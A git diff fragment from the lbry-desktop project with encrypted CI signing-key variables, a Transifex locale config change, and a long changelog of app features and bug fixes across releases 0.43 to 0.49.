- secure: RtPES82DBisaCkernDm10u8mzNc8K4EyyTJUCopcFFJHfFpleuJOoXNFZGXixjHXWTxqc5+IjLThBZFG6krTpD4ocftfkBNeVDXL91JsGRW6X4VBpKaJp1UJZZiYjpPZRJDwVuIb570WcX3xXmsvAwwdODkeXgBZoOw+LZIz4HV3OACi5iaWCx4+2WvQiaz/6mRkLlw9iY1m9gCGQXXUSWyY+bGWsOdGWpfp/VfzpX7mBJbcIYjvRYSnBtVUFkEzxHlaR/CFc7Jio45EUImhBKqKV8QGAiv9AowcWqQn8y2SuW8J66bkaZGbGpyEdsRQDJKUU5naRIFJ/002e4XjI2moBfSHHnFTMH/AawA4b+gCjein8jDiRugJw8AqC4KpG660SFJwC4A8IxfPcXWcykahrL6kJhs+NFbyxQEJIMUqP6UAAiPAuUr/Whq1F8x5b39pEibRZ3Vv0Bix/lUj4cWZYRBL1ckoUgSCeG7llkAdnxLuQKfDvTw+HFcWGq7yg/ye7H7CwpBJkSSOlnQ61nuucC82hVqBGoPGbFW3vjS0BqesLcaO7kwW/fdBnIxwLiWWHDWol0aLfQLEzjUzpS+tA1YYKvrG+yNMEeYtHEK9ZcltQD52uEtjK26DIY8tQU8PxMlXha6/XTOlt8MIcl8IPULmVWKT9k8LPTFQiXc=
|
||||
#CSC_KEY_PASSWORD
|
||||
- secure: TDKeF7/WGwR+di+JhNp29x7NPzVMO/q+72n58zB5goI1NUKaeKgjeWbfVYx9f+4G9a9/pdDVUfORt8i6OW8ZhhqYS4E8G5F56q+oX3nrjNqM8NqoK09ehZS/wdYGbenG9oTfXYenDdwusZV4Fq0BRRLjqAIXPQCKg3//MKseh/1fHDGVGXpYUimHRSCkwspbbfB/9Qw9KEBjweeXiAwB+5F+E7fPlVtqsIvtkkED1hKe0Z8HdECC6JTZ0ZHPDDFGV3aondXQDgUlfchnZ6HDdNDO5y/hPEj0laiZQ7BssenJ8Z7qjHc5O9AKXfG+6WFICHvtgjQ0+x6rk6gpvJcyI1x2+Kck/s0EcSkFY+Yz81BxdehIeKPn9U8LpGaFbtxsp01661yeaIpAqT/PqFsdj/kFXFT6gwZlGGPMBm2WgQR4A61qkOO1jokqz/z6CnY+MNeE8E1Fh4bFoZ0JwUJFJugoyDahHpVlLw5lZaSipJO6RZ1xjoZ3XGmxvtkM4dQ16xQ++Q8EgD878uCWn2jZ5YTQdKANfXYTKSiQfoEjLeX0T6I6GSdim4ZURjcolmGNMH/3jhISOXj+e2UkLc6jwO4Ek084o6ciJ2JjqEhXvXOCeRJ2I9cf2dEk7CvtbitiDly6XATo2FP4hqNdcNNWyj/jFvuTwFT6hzBqLk1BCBc=
|
||||
#WIN_CSC_KEY_PASSWORD
|
||||
- secure: LBwkNMw5paoxpeLcNvAbrSLghLH0kXmgctBkUK6hgqJ/6WReWKlERUCwWQp/NcAB5Nb8fUTV8hXz1UjeQG1HH65geRcxya9sf9xu446e2gRdYGfYk7AhZdIw97IlwTYv2tpnjejiVXIoClQjKRYtOkRC4BIGW+Ydun1hwEUXTVMCplOzPhpLrkJCIDDDdM4eJjWm6ZMshCKRlnt42sNdx63FHBAH72rqBnt2jd+ISIadASnWz0nQlN5aIvXR6cLZfSl8Qt/JDL+LXzWX+pNA4BegCtW3hBoLrW18QdNPxrvPCvKjRCC3LHuv+KEGbzGv/QkXg5f9BKZehIZ/hjYgxysjeHBI8yOfCoyrDafxSIso5ja2TtL9lLpW90gbkbtEFiaL2XOMUbQcwWQ6RShSoLZxgiAl6zUmrq3UtS30OjnjWgMj+WnU2BcgpmpPzU0Hz/fblX6/EnwXhPNRYZvm5JyhVRYLZypLWuV4XsWGuLbUOOrsYi7UvU+xo+3AaxbUW4A6XuQ/DUh0ZVNlpPGcVi7A2tx4/46Wm0oLwQ5NYVukHbEiHWZ4HuKqSionwtgG0T2a6/7JQdH7gb+/86z4YHmK89dd/aE84hBUGTB/pNvvtDBYBE3c60SzL0CFPJZrbz9E0gVhLfsHO+5/VCFIipgM8mYoVzsq+cONKbqUPCg=
|
||||
+1
-2
@@ -2,7 +2,6 @@
|
||||
host = https://www.transifex.com
|
||||
|
||||
[lbry-desktop.app-strings]
|
||||
file_filter = static/locales/<lang>.json
|
||||
source_file = static/locales/en.json
|
||||
source_file = static/app-strings.json
|
||||
source_lang = en
|
||||
type = KEYVALUEJSON
|
||||
+769
-14
@@ -1,22 +1,777 @@
|
||||
# Change Log
|
||||
# Changelog
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
## [0.34.0] - [Unreleased]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Lots of speed improvements
|
||||
## [Unreleased on desktop]
|
||||
|
||||
### Added
|
||||
|
||||
- New app design for better content discovery ([2477](https://github.com/lbryio/lbry-desktop/pull/2477))
|
||||
- New loading page ([2491](https://github.com/lbryio/lbry-desktop/pull/2491))
|
||||
- Comments ([2510](https://github.com/lbryio/lbry-desktop/pull/2510))
|
||||
- Remember file delete preference ([2132](https://github.com/lbryio/lbry-desktop/pull/2132))
|
||||
- Add first version of language support (with Polish and Indonesian)
|
||||
- Wallet balance UI improvements ([#5276](https://github.com/lbryio/lbry-desktop/pull/5387))
|
||||
- Mass tip unlock ([#5409](https://github.com/lbryio/lbry-desktop/pull/5387))
|
||||
- Zoomable image viewer in Markdown (posts and comments) _community pr!_ ([#5387](https://github.com/lbryio/lbry-desktop/pull/5387))
|
||||
- Enable PDF Viewer in App _community pr!_ ([#2903](https://github.com/lbryio/lbry-desktop/issues/2903))
|
||||
- The search bar now handles both lbry.tv and Odysee links regardless of which site the user is in ([#5604](https://github.com/lbryio/lbry-desktop/issues/5604))
|
||||
- The video/audio player's control tooltip is now localized and includes hints for keyboard shortcuts ([#5584](https://github.com/lbryio/lbry-desktop/issues/5584))
|
||||
- Finnish and Norwegian language support ([#5532](https://github.com/lbryio/lbry-desktop/issues/5532))
|
||||
|
||||
### Changed
|
||||
|
||||
- Re-enable PDF Viewer in desktop app _community pr!_ ([#5420](https://github.com/lbryio/lbry-desktop/issues/5420))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Player doesn't stop playing when editing a comment that includes a video url _community pr!_ ([#5384](https://github.com/lbryio/lbry-desktop/pull/5384))
|
||||
- Main video/audio playback stopped every time a comment is edited or deleted ([#5606](https://github.com/lbryio/lbry-desktop/pull/5606))
|
||||
- Winning search result not working correctly with mature content enabled _community pr!_ ([#5388](https://github.com/lbryio/lbry-desktop/pull/5388))
|
||||
- Home/End key not working as expected in Search Bar ([#5642](https://github.com/lbryio/lbry-desktop/pull/5642))
|
||||
- Fixes to inline videos in comments _community pr!_ ([#5389](https://github.com/lbryio/lbry-desktop/pull/5389))
|
||||
- Search page crashing on some results ([#5428](https://github.com/lbryio/lbry-desktop/pull/5428))
|
||||
- Long channel names caused comments to extend underneath related content _community pr!_ ([#5431](https://github.com/lbryio/lbry-desktop/pull/5431))
|
||||
- Keep floating player always visible _community pr!_ ([#5448](https://github.com/lbryio/lbry-desktop/pull/5448))
|
||||
- LBRY Desktop incorrectly setting itself as the default HTML-file application in Linux ([#5617](https://github.com/lbryio/lbry-desktop/pull/5617))
|
||||
- All notifications being cleared when only 1 is clicked ([#5619](https://github.com/lbryio/lbry-desktop/pull/5619))
|
||||
- Markdown editor's "Create Link (Ctrl-K)" action now directly highlights the URL stub when the label is present ([#5585](https://github.com/lbryio/lbry-desktop/issues/5585))
|
||||
|
||||
## [0.49.4] - [2021-01-26]
|
||||
|
||||
### Added
|
||||
|
||||
- Theater mode ([#5255](https://github.com/lbryio/lbry-desktop/pull/5255))
|
||||
- Repost flow improvements ([#5293](https://github.com/lbryio/lbry-desktop/pull/5293))
|
||||
- Desktop: Enable 'Alt+Left/Right' for history navigation _community pr!_ ([#5203](https://github.com/lbryio/lbry-desktop/pull/5203))
|
||||
- Make playback rate setting persistent _community pr!_ ([#5310](https://github.com/lbryio/lbry-desktop/pull/5310))
|
||||
- Make UI zoom setting persistent _community pr!_ ([#5385](https://github.com/lbryio/lbry-desktop/pull/5385))
|
||||
|
||||
### Changed
|
||||
|
||||
- No longer supporting 32 bit windows
|
||||
- Updated lbry-sdk to [0.88.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.88.0)
|
||||
- Improve how spendable balance is displayed ([#5409](https://github.com/lbryio/lbry-desktop/pull/5276))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Lots of bug fixes
|
||||
- Fix bug where subscriptions could be lost ([#5302](https://github.com/lbryio/lbry-desktop/pull/5302))
|
||||
|
||||
## [0.49.3] - [2020-12-30]
|
||||
|
||||
### Added
|
||||
|
||||
- Turn timestamps in a video's description and comments into links _community pr!_ ([#5156](https://github.com/lbryio/lbry-desktop/pull/5156))
|
||||
- Mobile video player enhancements and the ability to tap on the left and right edges to seek _community pr!_ ([#5119](https://github.com/lbryio/lbry-desktop/pull/5119))
|
||||
- Added tile layout for tags page [a0ec5](https://github.com/lbryio/lbry-desktop/commit/a0ec5097d93496b92736e1682f9fb2d20dadf425).
|
||||
|
||||
### Changed
|
||||
|
||||
- Repost option now has a full page and can be triggered from search results (click "View competing uploads for ...").
|
||||
|
||||
### Fixed
|
||||
|
||||
- [Upgrade SDK to 0.87.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.87.0). Forces wallet resync which fixes balance issues for some users and improves memory usage.
|
||||
|
||||
## [0.49.1] - [2020-12-15]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Sidenav unable to open when on the file page
|
||||
- Fix "open external" button to open files on your OS
|
||||
|
||||
## [0.49.0] - [2020-12-10]
|
||||
|
||||
### Added
|
||||
|
||||
- Better search suggestions ([#5124](https://github.com/lbryio/lbry-desktop/pull/5124))
|
||||
- Inline video player in comments/markdown posts ([#4894](https://github.com/lbryio/lbry-desktop/pull/4894))
|
||||
- Better handling of winning claim + top page improvements ([#4944](https://github.com/lbryio/lbry-desktop/pull/4944))
|
||||
- Comment pinning ([#4895](https://github.com/lbryio/lbry-desktop/pull/4895))
|
||||
- Comment reactions ([#4895](https://github.com/lbryio/lbry-desktop/pull/4895))
|
||||
- Language search ([#4907](https://github.com/lbryio/lbry-desktop/pull/4907))
|
||||
- Content notifications ([#4981](https://github.com/lbryio/lbry-desktop/pull/4981))
|
||||
- Customize scrollbar to fit the dark theme _community pr!_ ([#5056](https://github.com/lbryio/lbry-desktop/pull/5056))
|
||||
- Keyboard shortcut: adjust video playback-rate using ">" and "<" _community pr!_ ([#5075](https://github.com/lbryio/lbry-desktop/pull/5075))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.86.1](https://github.com/lbryio/lbry-sdk/releases/tag/v0.86.1)
|
||||
- Refactored file/lbc details UI ([#4937](https://github.com/lbryio/lbry-desktop/pull/4937))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Loss of subscriptions on startup ([#4882](https://github.com/lbryio/lbry-desktop/pull/4882))
|
||||
- Fix lost search results when a timeout occurs _community pr!_ ([#4996](https://github.com/lbryio/lbry-desktop/pull/4996))
|
||||
- Can't slide volume slider in pop-sout mode _community pr!_ ([#4913](https://github.com/lbryio/lbry-desktop/pull/4913))
|
||||
- Hide mouse cursor when video is playing _community pr!_ ([#5046](https://github.com/lbryio/lbry-desktop/pull/5046))
|
||||
|
||||
## [0.48.2] - [2020-10-16]
|
||||
|
||||
### Changed
|
||||
|
||||
- Disable snapshot thumbnail upload on desktop until Electron issue is fixed ([#4905](https://github.com/lbryio/lbry-desktop/pull/4905))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Files not opening externally properly ([#4908](https://github.com/lbryio/lbry-desktop/pull/4908))
|
||||
|
||||
## [0.48.1] - [2020-10-14]
|
||||
|
||||
### Added
|
||||
|
||||
- Add Publish Preview dialog _community pr!_ ([#4620](https://github.com/lbryio/lbry-desktop/pull/4620))
|
||||
- "ctrl/cmd+enter" can now be used to directly submit a comment ([#4809](https://github.com/lbryio/lbry-desktop/pull/4809))
|
||||
- Deeper comment thread depth ([#4868](https://github.com/lbryio/lbry-desktop/pull/4868))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.83.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.83.0)
|
||||
- Upgrade electron to v9 ([#4824](https://github.com/lbryio/lbry-desktop/pull/4824))
|
||||
- Fade out expandable areas (e.g. comments, file description) when collapsed _community pr!_ ([#4818](https://github.com/lbryio/lbry-desktop/pull/4818))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Videos started as muted on initial desktop session _community pr!_ ([#4864](https://github.com/lbryio/lbry-desktop/pull/4864))
|
||||
|
||||
## [0.48.0] - [2020-09-23]
|
||||
|
||||
### Added
|
||||
|
||||
- New File Page layout + make sidebar collapsable ([#4648](https://github.com/lbryio/lbry-desktop/pull/4648))
|
||||
- Block mature content when accessed directly from URL _community pr!_ ([#4560](https://github.com/lbryio/lbry-desktop/pull/4560))
|
||||
- You can now add LBRY as a search engine in your browser (via OpenSearch) _community pr!_ ([#4640](https://github.com/lbryio/lbry-desktop/pull/4640))
|
||||
- In-app text and markdown publishing and editing _community pr!_ ([#4591](https://github.com/lbryio/lbry-desktop/pull/4591))
|
||||
- New comment stats on creator analytics page _jiggytom certified_ ([#4715](https://github.com/lbryio/lbry-desktop/pull/4715))
|
||||
|
||||
### Changed
|
||||
|
||||
- Move file properties over thumbnails for more space-saving ([#4632](https://github.com/lbryio/lbry-desktop/pull/4632))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fix sluggish Back button when navigation back to channels with lots of comments _community pr!_ ([#4576](https://github.com/lbryio/lbry-desktop/pull/4576))
|
||||
- Fix 'Related' and 'Comments' section lazy-load not working in some scenarios _community pr!_ ([#4586](https://github.com/lbryio/lbry-desktop/pull/4586))
|
||||
- Fix comment-creation failure if you have recently deleted a channel _community pr!_ ([#4630](https://github.com/lbryio/lbry-desktop/pull/4630))
|
||||
- Tip Modal: Don't do final submit when the intention is to create New Channel _community pr!_ ([#4629](https://github.com/lbryio/lbry-desktop/pull/4629))
|
||||
- Fix related + search results loading slowly ([#4657](https://github.com/lbryio/lbry-desktop/pull/4657))
|
||||
- Fix partially untranslated text in the Upgrade Modal _community pr!_ ([#4722](https://github.com/lbryio/lbry-desktop/pull/4722))
|
||||
- Fix floating player being paused after dragging _community pr!_ ([#4710](https://github.com/lbryio/lbry-desktop/pull/4710))
|
||||
- Web: Fix 'Download' not triggering until second attempt _community pr!_ ([#4721](https://github.com/lbryio/lbry-desktop/pull/4721))
|
||||
- Floating player: Stay within screen when window is resized _community pr!_([#4750](https://github.com/lbryio/lbry-desktop/pull/4750))
|
||||
- App crash when including % sign in search _community pr!_([#4753](https://github.com/lbryio/lbry-desktop/pull/4753))
|
||||
- Fix markdown editor "preview" not working when `<iframe>`s are present _community pr!_([#4767](https://github.com/lbryio/lbry-desktop/pull/4767))
|
||||
- First comment on claim not showing up immeditately ([#4747](https://github.com/lbryio/lbry-desktop/pull/4747))
|
||||
- Fix "Password updated successfully" kept showing up _community pr!_([#4766](https://github.com/lbryio/lbry-desktop/pull/4766))
|
||||
- Fix "Price=free" giving 0 results in Following query _community pr!_ ([#4489](https://github.com/lbryio/lbry-desktop/pull/4489))
|
||||
|
||||
## [0.47.1] - [2020-07-23]
|
||||
|
||||
### Added
|
||||
|
||||
- Allow zooming on Desktop _community pr!_ ([#4513](https://github.com/lbryio/lbry-desktop/pull/4513))
|
||||
- Show "YT Creator" label in File Page as well _community pr!_ ([#4523](https://github.com/lbryio/lbry-desktop/pull/4523))
|
||||
- Add option to retry video stream on failure _community pr!_ ([#4541](https://github.com/lbryio/lbry-desktop/pull/4541))
|
||||
- Allow blocking channels from comments ([#4557](https://github.com/lbryio/lbry-desktop/pull/4557))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.79.1](https://github.com/lbryio/lbry-sdk/releases/tag/v0.79.1)
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fix 'transcoding' checkbox state when switching file types _community pr!_ ([#4529](https://github.com/lbryio/lbry-desktop/pull/4529))
|
||||
- Fix channel file-search not available in mobile _community pr!_ ([#4527](https://github.com/lbryio/lbry-desktop/pull/4527))
|
||||
- New Channel: Fix incorrect GUI configuration at entry _community pr!_ ([#4545](https://github.com/lbryio/lbry-desktop/pull/4545))
|
||||
- Hide blocked channels in comments ([#4557](https://github.com/lbryio/lbry-desktop/pull/4557))
|
||||
|
||||
## [0.47.0] - [2020-07-13]
|
||||
|
||||
### Added
|
||||
|
||||
- Add ability to sign supports ([#4382](https://github.com/lbryio/lbry-desktop/pull/4382))
|
||||
- Add "tap to unmute" button for videos that start with audio muted _community pr!_ ([#4365](https://github.com/lbryio/lbry-desktop/pull/4365))
|
||||
- Allow upgrade bar to be dismissed per session _community pr!_ ([#4413](https://github.com/lbryio/lbry-desktop/pull/4413))
|
||||
- Pause the "autoplay next" timer when performing long operations such as Tipping, Supporting or commenting _community pr!_ ([4419](https://github.com/lbryio/lbry-desktop/pull/4419))
|
||||
- Email notification management page ([#4409](https://github.com/lbryio/lbry-desktop/pull/4409))
|
||||
- Publish Page improvements to prevent accidental overwrites of existing claims _community pr!_ ([#4416](https://github.com/lbryio/lbry-desktop/pull/4416))
|
||||
- Option to remove abandoned claims from Blocked channels page _community pr!_ ([#4433](https://github.com/lbryio/lbry-desktop/pull/4433))
|
||||
- New channel create/edit page ([#4445](https://github.com/lbryio/lbry-desktop/pull/4445))
|
||||
- Add dialog to copy various types of links for a claim _community pr!_ ([#4474](https://github.com/lbryio/lbry-desktop/pull/4474))
|
||||
- Add password reset link to settings page for logged in users _community pr!_ ([#4473](https://github.com/lbryio/lbry-desktop/pull/4473))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.77.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.77.0)
|
||||
- Merged Tip and Support Buttons into one UI on file page ([#4382](https://github.com/lbryio/lbry-desktop/pull/4382))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fix report page layout ([#4384](https://github.com/lbryio/lbry-desktop/pull/4384))
|
||||
- Fix language-change not applied to components immediately _community pr!_ ([#4437](https://github.com/lbryio/lbry-desktop/pull/4437))
|
||||
- Fix scenarios where new search results are not appearing when scrolled to the bottom _community pr!_ ([4424](https://github.com/lbryio/lbry-desktop/pull/4424))
|
||||
- Fix incorrect creator status shown when navigating between channels _community pr!_ ([#4438](https://github.com/lbryio/lbry-desktop/pull/4438))
|
||||
- Fix unresolved translations in the Splash Screen _community pr!_ ([#4440](https://github.com/lbryio/lbry-desktop/pull/4440))
|
||||
- Fix Notification page button being incorrectly disabled by 0 blocked channels _community pr!_ ([#4449](https://github.com/lbryio/lbry-desktop/pull/4449))
|
||||
- Fix "Refresh" on Publish page not showing the loading indicator when pressed _community pr!_ ([#4451](https://github.com/lbryio/lbry-desktop/pull/4451))
|
||||
- Fix video duration not appearing on Mobile with enough width _community pr!_ ([#4452](https://github.com/lbryio/lbry-desktop/pull/4452))
|
||||
- Fix video transcode setting not reflected correctly (MP3 incorrectly transcoded to MP4) _community pr!_ ([#4458](https://github.com/lbryio/lbry-desktop/pull/4458))
|
||||
- Fix scrolling glitch when results are exactly the page size _community pr!_ ([#4521](https://github.com/lbryio/lbry-desktop/pull/4521))
|
||||
- Fix search results not appearing when scrolling due to long Tags or Following list in the navigation bar _community pr!_ ([#4465](https://github.com/lbryio/lbry-desktop/pull/4465))
|
||||
- Fix unmuted state lost or reverted when playing a new video _community pr!_ ([#4483](https://github.com/lbryio/lbry-desktop/pull/4483))
|
||||
|
||||
## [0.46.2] - [2020-06-10]
|
||||
|
||||
### Added
|
||||
|
||||
- Make library view mode (Downloads|Purchases) persistent _community pr!_ ([#4363](https://github.com/lbryio/lbry-desktop/pull/4363))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.76.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.76.0)
|
||||
|
||||
### Fixed
|
||||
|
||||
- Overflow issue when editing replies _community pr!_ ([#4356](https://github.com/lbryio/lbry-desktop/pull/4356))
|
||||
- Comments wrapping in the middle of a word _community pr!_ ([#4354](https://github.com/lbryio/lbry-desktop/pull/4354))
|
||||
- Translation improvements _community pr!_ ([multiple PR's](https://github.com/lbryio/lbry-desktop/pulls?q=is%3Apr+author%3ATigerxWood+sort%3Aupdated-desc+is%3Amerged))
|
||||
|
||||
## [0.46.1] - [2020-06-08]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fix download button not working on claim previews ([1dcf16b](https://github.com/lbryio/lbry-desktop/commit/1dcf16b0b4dffff6335e8fdf988d38673243e014))
|
||||
- Fix app version tracking ([f11d068](https://github.com/lbryio/lbry-desktop/commit/f11d06817f0dd75a9c33a7a60150d25d56b66ba0))
|
||||
|
||||
## [0.46.0] - [2020-06-08]
|
||||
|
||||
### Added
|
||||
|
||||
- Can now purchase LBC inside of the app ([#4294](https://github.com/lbryio/lbry-desktop/pull/4294))
|
||||
- Allow video sharing with start timestamp _community pr!_ ([#4142](https://github.com/lbryio/lbry-desktop/pull/4142))
|
||||
- Expose reflector status for publishes ([#4148](https://github.com/lbryio/lbry-desktop/pull/4148))
|
||||
- More tooltip help texts _community pr!_ ([#4185](https://github.com/lbryio/lbry-desktop/pull/4185))
|
||||
- Add footer on web ([#4159](https://github.com/lbryio/lbry-desktop/pull/4159))
|
||||
- Support drag-and-drop file publishing _community pr!_ ([#4170](https://github.com/lbryio/lbry-desktop/pull/4170))
|
||||
- Add advanced editor for comments _community pr!_ ([#4224](https://github.com/lbryio/lbry-desktop/pull/4224))
|
||||
- Paid content improvements ([#4234](https://github.com/lbryio/lbry-desktop/pull/4234))
|
||||
- Add status-bar to display a link's destination _community pr!_ ([#4259](https://github.com/lbryio/lbry-desktop/pull/4259))
|
||||
- Add Catalan language support ([#4313](https://github.com/lbryio/lbry-desktop/pull/4313))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.75.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.75.0)
|
||||
- Use "grab" cursor on floating player to make it easier to tell you can drag it _community pr!_ ([#4201](https://github.com/lbryio/lbry-desktop/pull/4201))
|
||||
- Confirm age before viewing mature content on web ([#4233](https://github.com/lbryio/lbry-desktop/pull/4233))
|
||||
- Pause thumbnail gifs until hover ([#4256](https://github.com/lbryio/lbry-desktop/pull/4256))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Channel selector alignment on creator analytics page _community pr!_ ([#4157](https://github.com/lbryio/lbry-desktop/pull/4157))
|
||||
- Fix inconsistent relative-date string for claims, comments, etc. _community pr!_ ([#4172](https://github.com/lbryio/lbry-desktop/pull/4172))
|
||||
- Error opening certain files with special characters in name #2777 _community pr!_ ([#4161](https://github.com/lbryio/lbry-desktop/pull/4161))
|
||||
- Comic-book file page shows download button first, and then viewer after download _community pr!_ ([#4161](https://github.com/lbryio/lbry-desktop/pull/4161))
|
||||
- Only show "start at" on share modal for video/audio _community pr!_ ([#4194](https://github.com/lbryio/lbry-desktop/pull/4194))
|
||||
- Clear media position after video has played to the end _community pr!_ ([#4193](https://github.com/lbryio/lbry-desktop/pull/4193))
|
||||
- Text casing on publish page _community pr!_ ([#4186](https://github.com/lbryio/lbry-desktop/pull/4186))
|
||||
- Some strings not translating properly _community pr!_ ([#4238](https://github.com/lbryio/lbry-desktop/pull/4238))
|
||||
- Prevents page from scrolling while pressing the spacebar when the miniplayer is out of focus _community pr!_ ([#4204](https://github.com/lbryio/lbry-desktop/pull/4204))
|
||||
- Fixed some string translations _community pr!_ ([#4238](https://github.com/lbryio/lbry-desktop/pull/4238))
|
||||
- Fixed Publish page card double border _community pr!_ ([#4254](https://github.com/lbryio/lbry-desktop/pull/4254)
|
||||
|
||||
## [0.45.1] - [2020-05-06]
|
||||
|
||||
### Added
|
||||
|
||||
- Channel content preview on custom invite link page _community pr!_ ([#4040](https://github.com/lbryio/lbry-desktop/pull/4040))
|
||||
- Add Tooltips To Channel Action Buttons _community pr!_ ([#4090](https://github.com/lbryio/lbry-desktop/pull/4090))
|
||||
- Reenabled repost hiding with corresponding repost email suppression ([#4025](https://github.com/lbryio/lbry-desktop/pull/4025))
|
||||
- Enabled embeds in markdown posts ([#4060](https://github.com/lbryio/lbry-desktop/pull/4060))
|
||||
- Save media position in video viewer _community pr!_ ([#4104](https://github.com/lbryio/lbry-desktop/pull/4104))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.72.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.72.0)
|
||||
- Show 'elapsed/total' instead of countdown timer on video player _community pr!_ ([#4049](https://github.com/lbryio/lbry-desktop/pull/4049))
|
||||
- Modified app strings about wallet backup, to emphasize that the wallet also controls claims _community pr!_ ([#4056](https://github.com/lbryio/lbry-desktop/pull/4056))
|
||||
- Add confirmation when sending tip respecting "Purchase and Tip Confirmation" (formerly "Purchase Confirmation") setting, now visible in lbry.tv _community pr!_ ([#4051](https://github.com/lbryio/lbry-desktop/pull/4051))
|
||||
- Hyperlinks in markdown now open in new tab _community pr!_ ([#4111](https://github.com/lbryio/lbry-desktop/pull/4111))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Better deleted text file handling - will now redownload the file ([#4109](https://github.com/lbryio/lbry-desktop/pull/4109))
|
||||
- Fixed the title of the subscribe button getting out of sync on fast hover movements _community pr!_ ([#4054](https://github.com/lbryio/lbry-desktop/pull/4054))
|
||||
- Handle errors better on the creator analytics page and add a new card for stats on users most recent content ([#4043](https://github.com/lbryio/lbry-desktop/pull/4043))
|
||||
- Add fallback when images fail to load _community pr!_ ([#4019](https://github.com/lbryio/lbry-desktop/pull/4019))
|
||||
- Fetch new content when clicking LBRY logo while on homepage _community pr!_ ([#4031](https://github.com/lbryio/lbry-desktop/pull/4031))
|
||||
- Aligns text across browsers and desktop _community pr!_ ([#4050](https://github.com/lbryio/lbry-desktop/pull/4050))
|
||||
- Reselect channel as "replying as" when switching channels _community pr!_ ([#3926](https://github.com/lbryio/lbry-desktop/issues/3926))
|
||||
|
||||
## [0.45.0] - [2020-04-21]
|
||||
|
||||
### Added
|
||||
|
||||
- Password login with lbry.tv - [Blog post](https://open.lbry.com/@lbry:3f/passwords-on-lbrytv:2) ([#3960](https://github.com/lbryio/lbry-desktop/pull/3960))
|
||||
- Double confirmation to prevent accidentally deleting a channel ([#3958](https://github.com/lbryio/lbry-desktop/pull/3958))
|
||||
- Button to unlock all tips for a claim ([#3933](https://github.com/lbryio/lbry-desktop/pull/3933))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.69.1](https://github.com/lbryio/lbry-sdk/releases/tag/v0.69.1)
|
||||
- Improved file page layout/styling ([#3918](https://github.com/lbryio/lbry-desktop/pull/3918))
|
||||
- Now using Github for auto-update downloads ([#3992](https://github.com/lbryio/lbry-desktop/pull/3992))
|
||||
- Now paginating wallet history using txo_list ([#3979](https://github.com/lbryio/lbry-desktop/pull/3979))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Images were sometimes cut off depending on screen size _community pr!_ ([#3991](https://github.com/lbryio/lbry-desktop/pull/3991))
|
||||
- Error styling on repost modal ([#3943](https://github.com/lbryio/lbry-desktop/pull/3943))
|
||||
- Fix glitchy "follow" button _community pr!_ ([#3963](https://github.com/lbryio/lbry-desktop/pull/3963))
|
||||
|
||||
## [0.44.0] - [2020-04-01]
|
||||
|
||||
### Added
|
||||
|
||||
- Comment replies ([#3864](https://github.com/lbryio/lbry-desktop/pull/3864))
|
||||
- Display repost count on file pages with link to all reposts of that claim ([#3862](https://github.com/lbryio/lbry-desktop/pull/3862))
|
||||
- New creator analytics dashboard ([#3857](https://github.com/lbryio/lbry-desktop/pull/3857))
|
||||
- Better confirmation before deleting channels ([#3835](https://github.com/lbryio/lbry-desktop/pull/3835))
|
||||
- More claim information on file and channel pages ([#3831](https://github.com/lbryio/lbry-desktop/pull/3831))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.67.1](https://github.com/lbryio/lbry-sdk/releases/tag/v0.67.1)
|
||||
- Add sign out confirmation modal on desktop to explain potential issues with signing into a new account ([#3837](https://github.com/lbryio/lbry-desktop/pull/3837))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Show proper error message when thumbnail upload fails ([#3837](https://github.com/lbryio/lbry-desktop/pull/3837))
|
||||
- Don't show reward verification screen again if you click "skip" when viewing it ([#3809](https://github.com/lbryio/lbry-desktop/pull/3809))
|
||||
|
||||
## [0.43.4] - [2020-03-10]
|
||||
|
||||
### Changed
|
||||
|
||||
- Temporarily disabled lbry-format apps over security concerns ([#3824](https://github.com/lbryio/lbry-desktop/pull/3824))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Links to list view weren't working on the homepage and channel discovery page ([#3810](https://github.com/lbryio/lbry-desktop/pull/3810))
|
||||
- Valid URL handling in search bar ([#3819](https://github.com/lbryio/lbry-desktop/pull/3819))
|
||||
|
||||
## [0.43.3] - [2020-03-06]
|
||||
|
||||
### Added
|
||||
|
||||
- New/Top/Trending options on Channel pages ([#3768](https://github.com/lbryio/lbry-desktop/pull/3768))
|
||||
- Encourage following channels through new discovery page on sign in ([#3756](https://github.com/lbryio/lbry-desktop/pull/3756))
|
||||
- Warnings about incompatible video format and high bitrates ([#3794](https://github.com/lbryio/lbry-desktop/pull/3794))
|
||||
- Additional filtering options (type / duration) alongside Top/Trending/New ([#3778](https://github.com/lbryio/lbry-desktop/pull/3778))
|
||||
- Czech and Kannada language support ([#3759](https://github.com/lbryio/lbry-desktop/pull/3759))
|
||||
|
||||
